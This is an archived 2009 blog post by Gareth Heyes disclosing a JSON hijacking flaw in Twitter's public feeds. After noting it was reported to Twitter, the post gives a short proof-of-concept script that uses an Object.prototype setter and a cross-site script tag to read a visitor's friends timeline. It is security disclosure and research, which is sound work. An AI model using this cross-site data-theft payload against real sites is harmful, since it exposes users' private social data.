

I know what your friends did last summer

I know what your friends did last summer - Gareth Heyes, thespanner.co.uk.

- Published: date not stated
- Original: <<http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/>>
- Preserved from: <http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/> (stored) on 2026-08-17
- Capture timestamp: 20110103163658
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

I know what your friends did last summer

I know what your friends did last summer

Wednesday, 7 January 2009

I did report this to Twitter a few weeks ago, but now that Chris Heilmann [has let the cat out of the bag](#) I'll post my repro now. Basically Twitter JSON security is leaking data, the JSON feeds that are publically available shouldn't be IMO or at least protected using known methods.

So if you use Twitter a web site can know who you are and who your friends are. Spammers could you this data to automate targeted spamming attacks or maybe automated social engineering, you're more like to open a email attachment off your friends right?

The attack works by including the JSON data using a script tag on any web site, using setters you can get the data of the JSON feed in every browser except IE (in my testing).

```
<script>
Object.prototype.__defineSetter__('user',function(obj){for(var i in obj) {alert(i + '=' + obj[i]);} });
</script>
<script defer="defer" src=https://twitter.com/statuses/friends_timeline/>
</script>
```

Originally I thought it was a bug in Firefox, that's why I've used Object.prototype and not simply Object but I found a post by [Joe Walker](#) which uses a far better technique to grab all the data.

Here is the proof of concept to prove I do know what your friends did last summer:- [twitter json hack](#)

The entry '[I know what your friends did last summer](#)' was posted on January 7th, 2009 at 4:50 pm and last modified on August 27th, 2009 at 2:35 pm, and is filed under [Security](#), [json](#), [xss](#). You can follow any responses to this entry through the [RSS 2.0](#) feed. Both comments and pings are currently closed.

Archived from <http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/>. Rendered offline from the local Markdown copy.